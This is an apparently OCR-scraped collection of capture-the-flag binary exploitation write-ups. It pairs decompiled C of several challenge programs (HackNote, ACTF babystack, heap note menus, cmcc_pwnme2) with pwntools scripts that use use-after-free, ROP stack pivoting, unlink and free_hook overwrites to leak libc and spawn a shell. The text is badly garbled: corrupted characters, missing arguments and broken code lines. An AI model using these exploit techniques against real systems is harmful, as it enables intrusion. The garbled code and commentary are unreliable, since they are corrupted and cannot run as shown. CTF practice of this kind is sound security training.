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int sub_8048956()

{
puts("----=-=----c---cmoooo- ¥
puts (" HackNote ¥
puts("----=-=----c---cmoooo- ")
puts(" 1. Add note s
puts(" 2. Delete note ";
puts(" 3. Print note "Y;
puts(" 4. Exit “Y;
puts("---------------mmmmm- "y
return printf(“"Your choice :");
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unsigned 1int vb; // |esp+lCh]| |ebp-Ch]

readgsdword(@x14u);

if ( dword_804AR4C <= 5 )

{

for

{
if
{

(1 =9; 1<=4; ++1 )
( !'*(&ptr + 1) )

*(&ptr + 1) = malloc(8u);
if ( !*(&ptr + 1) )
{
puts("Alloca Error");
exit(-1);
¥
*(_DWORD *)*(&ptr + i) = sub_804862B;
printf(“Note size :");
read(e, buf, 8u);
size = atoi(buf);
ve = (int)*(&ptr + 1);

*(_DWORD *)(ve + 4) = malloc(size);
if ( !'*((_DWORD *)*(&ptr + 1) + 1) )
{

puts("Alloca Error");

exit(-1);
}

printf(“Content :");

read(@, *((void **)*(&ptr + 1) + 1), si
puts("Success !");

++dword_864A04C;

return __readgsdword(@xl4u) ~ v5;
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unsigned int delete()
{
int v1; // [esp+4h] [ebp-14h]

char buf[4]; // [esp+8h] [ebp-16h] BYREF
unsigned int v3; // [esp+Ch] [ebp-Ch]

v3 = __readgsdword(ex14u);
printf(“"Index :");
read(e, buf, 4u);
vl = atoi(buf);
if (vl < @ || vl >= dword_8e4A04C )
{
puts("Out of bound!™);
_exit(e);
Iy
if ( *(&ptr + v1) )
{
free(*((void **)*(&ptr + v1) + 1));
free(*(&ptr + v1));
puts(“"Success™);

}

return __readgsdword(@xl4u) "~ v3;
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print

unsigned int print()

{
int v1; // [esp+4h] [ebp-14h]
char buf[4]; // [esp+8h] [ebp-16h] BYREF
unsigned int v3; // [esp+Ch] [ebp-Ch]

v3 = __readgsdword(ex14u);
printf(“"Index :");
read(e, buf, 4u);
vl = atoi(buf);
if (vl <@ || vl >= dword_8e4A04C )
{

puts("Out of bound!™);

_exit(e);
}
if ( *(&ptr + v1) )

(*(void (__cdecl **)(_DWORD))*(&ptr + v1))(*(&ptr + v1));
return __readgsdword(@xl4u) "~ v3;
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from pwn import

,27080)

def add(size, content):
r.sendlineafter( )
r.sendlineafter( 5 (size))

r.sendlineafter( , content)

def delete(index):
r.sendlineafter( 5 )
r.sendlineafter( (index))

def show(index):
r.sendlineafter( P )
r.sendlineafter( (index))

puts_got elf.got|
putss 0x804862b

payload = p32(putss) p32(puts_got)
add(0x8, payload)
show(9)

puts_addr u32(r.recv(4))
libc_base puts_addr libc.sym[
system_addr libc_base libc.sym[

(libc_base)

show(9)

r.interactive()
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__inté4 _ fastcall main(int al, char **a2, char **a3)
{

__int64 result; // rax

char s[2@08]; // [rsp+@h] [rbp-Deh] BYREF

setbuf(stdin, eLL);
setbuf(stdout, ©LL);
setbuf(stderr, OLL);

signal(14, sighandler t)handler);
alarm(@x3Cu);

memset(s, ©, sizeof(s));
puts("Welcome to ACTF's babystack!");
sleep(3u);
puts("How many bytes of your message?");
putchar('>");
sub_4eeAlA();
if ( nbytes <= @xEe )
{
printf("Your message will be saved at %p\n", s);
puts( What 1s the content oT your message?“);
putchar(62);
read(@, s, nbytes);
puts("Byebye~");
result = @LL;
}

else

{
puts("I've checked the boundary!");

result = 1LL;
}

return result;
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from pwn import

context.log level

r process(
elf = ELF(
libc = ELF(

0x400ad3

elf.plt[

elf.got|
main_addr 0x4008f6
leave_ret 0x400a18
ret_addr 0x400a19

r.sendlineafter( (oxe0))

(r.recv(12), 16)

(stack_addr)

payload = p64(0) p64(pop_rdi) p64(puts_got) p64(puts_plt) p64(main_addr)
payload = payload.ljust(exdo, ) p64(stack_addr) p64(leave_ret)

puts_addr ub4(r.recv(6).ljust(s,
libc_base puts_addr libc.sym[
system_addr libc_base libc.sym[

r.sendlineafter( 5 (oxe0))
r.recvuntil( )

stack_addr (r.recv(12), 16)
(stack_addr)

p64(pop_rdi) p64(stack_addr) p64(ret_addr) p64(system_addr)
payload.ljust(oxde, ) p64(stack_addr) p64(leave_ret)

r.interactive()
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first

{

inté4 first()

__int64 size; // [rsp+@h] [rbp-86h]

char *v2; // [rsp+8h] [rbp-78h]

char s[1e4]; // [rsp+18h] [rbp-76h] BYREF
unsigned __inté4 v4; // [rsp+78h] [rbp-8h]

v4 = _ readfsqword(@x28u);
fgets(s, 16, stdin);
size = atoll(s);
v2 = (char *)malloc(size);
if (lv2)
return ©@xFFFFFFFFLL;
(&::s5)[++dword_6e2100] = v2;
printf("%d\n", (unsigned int)dword_6©2160);
return eLL;

mov rdx, [rbp+var_78]
mov ds:s[rax*8], rdx
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second

|_int64 second()
{
__int64 result; // rax
int 1i; // eax
unsigned int v2; // [rsp+8h] [rbp-88h]
__inte4 n; // [rsp+1@h] [rbp-88h]
char *ptr; // [rsp+18h] [rbp-78h]
char s[1€4]; // [rsp+28h] [rbp-78h] BYREF
unsigned __inté4 v6; // [rsp+88h] [rbp-8h]

v6 = _ readfsqword(@x28u);
fgets(s, 16, stdin);
v2 = atol(s);
if ( v2 > exleeeee )
return @xFFFFFFFFLL;
if ( !(&::s)[v2] )
return @xFFFFFFFFLL;
fgets(s, 16, stdin);
n = atoll(s);
ptr = (&::s)[v2];

for ( i = fread(ptr, 1uLL, n, stdin); i > @; i = fread(ptr, 1luLL, n, stdin) )
{ .
ptr += 1;
n -= 1ij;
¥
if (n)
result = @xFFFFFFFFLL;
else
result = @LL;
return result;
}
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third

| Int64 third()

{
unsigned int v1; // [rsp+Ch] [rbp-74h]
char s[104]; // [rsp+16h] [rbp-78h] BYREF
unsigned __inté4 v3; // [rsp+78h] [rbp-8F

v3 = __readfsqword(@x28u);
fgets(s, 16, stdin);
vl = atol(s);

if ( vl > exleeeee )
return @xFFFFFFFFLL;
if ( !(&::s)[v1i] )
return @xFFFFFFFFLL;
free((&::s)[v1]);
(&::s)[v1l] = eLL;
return 6LL;

!
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{
unsigned int v1; // [rsp+Ch] [rbp-74h]
char s[104]; // [rsp+16h] [rbp-78h] BYREF
unsigned __inté4 v3; // [rsp+78h] [rbp-8h]

v3 = __readfsqword(@x28u);
fgets(s, 16, stdin);
vl = atol(s);

if ( vl > exleeeee )
return @xFFFFFFFFLL;
if ( !(&::s)[v1i] )
return @xFFFFFFFFLL;
if ( strlen((&::s)[vl]) <= 3 )
puts("//TODO");
else
puts("...");
return oLL;

}
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from pwn import

elf = ELF(
r remote( , 26454)
libc ELF( )

context.log level




def alloc(size):
r.sendline( )
r.sendline( (size))

r.recvuntil( )

def edit(idx, size, content):
r.sendline( )
.sendline( (idx))

.sendline( (size))

r
r
r.send(content)
r

.recvuntil(

def delete(idx):
r.sendline( )

r.sendline( (idx))

puts_plt=elf.plt[
puts_got=elf.got[
free=elf.got[
ptr=0x602150

@alloc(0x100)

payload=p64(0)+p64(0x21)+p64(ptr-0x18)+p64(ptr-0x10)
payload+=p64(0x20)+p64(0x90)
edit(2, (payload),payload)

payload=p64(0)+p64(0)+p64d(free)+p64(ptr-0x18)+p64(puts_got)
edit(2, (payload),payload)

edit(1,8,p64(puts_plt))

delete(3)

libc_base = u64(r.recv(6).ljust(8, ))-1libc.symbols|
r.recvuntil( )
system_addr=1ibc_base+libc.symbols|

payload=p64(0)+p64(0)+p6d(free)+p64(ptr-0x18)+p64(ptr+0x10)
edit(2, (payload),payload)

edit(1,8,p64(system_addr))

delete(3)

r.interactive()

setbuf
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Junsigned _ int64 menu()

unsigned __inté4 v1; // [rsp+3h] [rbp-8h]

vl = _ readfsqword(@x28u);

puts( III======================") ;

puts("How are you ~~~~\nNBy the way,i don't want 996 !");
puts("1.Add a 996 info");

puts("2.Show info");

puts("3.Call that 996 compary!");

puts("4.I hate 996!");

printf(“choice:");

return __readfsqword(@x28u) ~ vi;



unsigned _ int64 add()
{
int v1; // [rsp+4h] [rbp-3Ch]
void **v2; // [rsp+8h] [rbp-38h]
size_t size[5]; // [rsp+leh] [rbp-3@h] BYREF
unsigned _ inté4 v4; // [rsp+38h] [rbp-8h]

v4d = _ readfsqword(@x28u);
if ( heap_number > 12 )

{
puts(“Enough!™);
exit(e);
¥
vl = heap_number;
*((_QWORD *)&heap_addr + v1) = malloc(@x18ulLL);
puts("Please input the size of compary's name");
isoc99_scanf("%d", size);

= (void **)*((_QWORD *)&heap_addr + heap_number);
*y2 = malloc(LODWORD(size[@]));
puts(“please input name:");

puts("Done!™);

++heap_number;
return __readfsqword(@x28u) ~ v4;

add
FIEHER 24

heaparray

size

call

FAERRR..... K hfree.

;?_DNORD Y(*((_QWORD *)&heap_addr + heap_number) + 8LL) = size[@];

read(e, **((void ***)&heap_addr + heap_number), LODWORD(size[@]));

read(e, (void *)(*((_QWORD *)&heap_addr + heap_number) + 12LL), @xCuLlL);
*(_BYTE *)(*((_QWORD *)&heap_addr + heap_number) + 23LL) = 0;

ptr \

content




show

unsigned _ inté4 show()
{
int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __inté4 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(@x28u);
puts("Please input the index:");
__1so0c99_scanf("%d", &v1);
getchar();
if ( *((_QWORD *)&heap_addr + v1) )
{
puts(“name:");
puts(**((const char ***)&heap_addr + v1));
puts(“"phone:");
puts((const char *)(*((_QWORD *)&heap_addr + v1) + 12LL));
}
puts(“Done!™);
return __readfsqword(ex28u) "~ v2;
¥
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call

unsigned __int64 call()

{
int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __inté4 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(ex28u);

puts(“Please input the index:");

__1s0c99_scanf("%d"™, &vl);

if ( *((_QWORD *)&heap_addr + v1) )
free(**((void ***)&heap_addr + v1));

puts(“"You try it!");

puts("Done™);

return __readfsqword(@x28u) ~ v2;
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from pwn import

remote( , 25398)

context.log level

elf = ELF(
libc = ELF(

def add(size, name, phone):
.sendlineafter(
.sendlineafter(
.sendafter(

.sendafter( (phone))

def show(index):
r.sendlineafter(
r.sendlineafter( (index))

def call(index):
r.sendlineafter(
r.sendlineafter( (index))

0x4526a

malloc_hook=(u64(r.recvuntil( )[-6:].1just(8, )) oxfffffffffffffoo0) (libc.sym[
Oxfff)
libc_base malloc_hook libc.sym[

free_hook=1ibc_base+libc.sym[
libc_base libc.sym[

add (0x28,p64(free_hook),123123)
add (0x28, ,123123)

add (0x28,p64(one_gadget),123123)
call(2)

r.interactive()

85 cmcc_pwnme2




i

int __cdecl main(int argc, c

{
char s[132]; // [esp+éh] [

string = @;
:Ei:??éifﬂi;;l;, int _ cdecl userfunction(char *src)
" Y - {
iﬁ’iﬁﬁhiiijf,ﬁtﬁ'?p“' ); char dest[108]; // [esp+Ch] [ebp-6Ch] BYREF
gets(s); .
userfunction(s); StPCPY(d-?t:fbnc)il o ey
return ©; ) return printf("Hello, %s\n", src);

T %, userfunctionsi i, & EEWAREH S . (HZ BRI E 3 5k His K/NANVA 2421 JefEuserfunctionsd Bt i jeits H T DA%
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exec_string.

int exec_string()
{
char s; // [esp+Bh] [eb

Dh] BYREF
FILE *stream; // [esp+ [e

p-
h] [ebp-Ch]
stream = fopen(&string, "r");
if ( !stream )
perror(“Wrong file");
fgets(&s, 50, stream);
puts(&s);
fflush(stdout);
return fclose(stream);

thar *__cdecl add_flag(int al, int a2)

(
char *result; // eax
if ( al == -889275714 && a2 == -1414664179 )
{
result = (char *)(strlen(&string) + 134520928);
strepy(result, "/.flagl");
¥
return result;
s

A exec_string ek £l LA 3 Hiflag, AEA AT Hiii t, fEstring I8 LIS 45 B g, Hepliflag SO 44 . SRS A Hh 3
A BB T

exp

from pwn import

P remote( ,29222)
elf=ELF( )

exec_string=0x080485ch
string=0x08042060

gets=elf.sym[ ]

r.recvuntil( )

payload (ox6c+4)+p32(gets)+p32(exec_string)+p32(string)

r.sendline(payload)
r.sendline( )
r.interactive()
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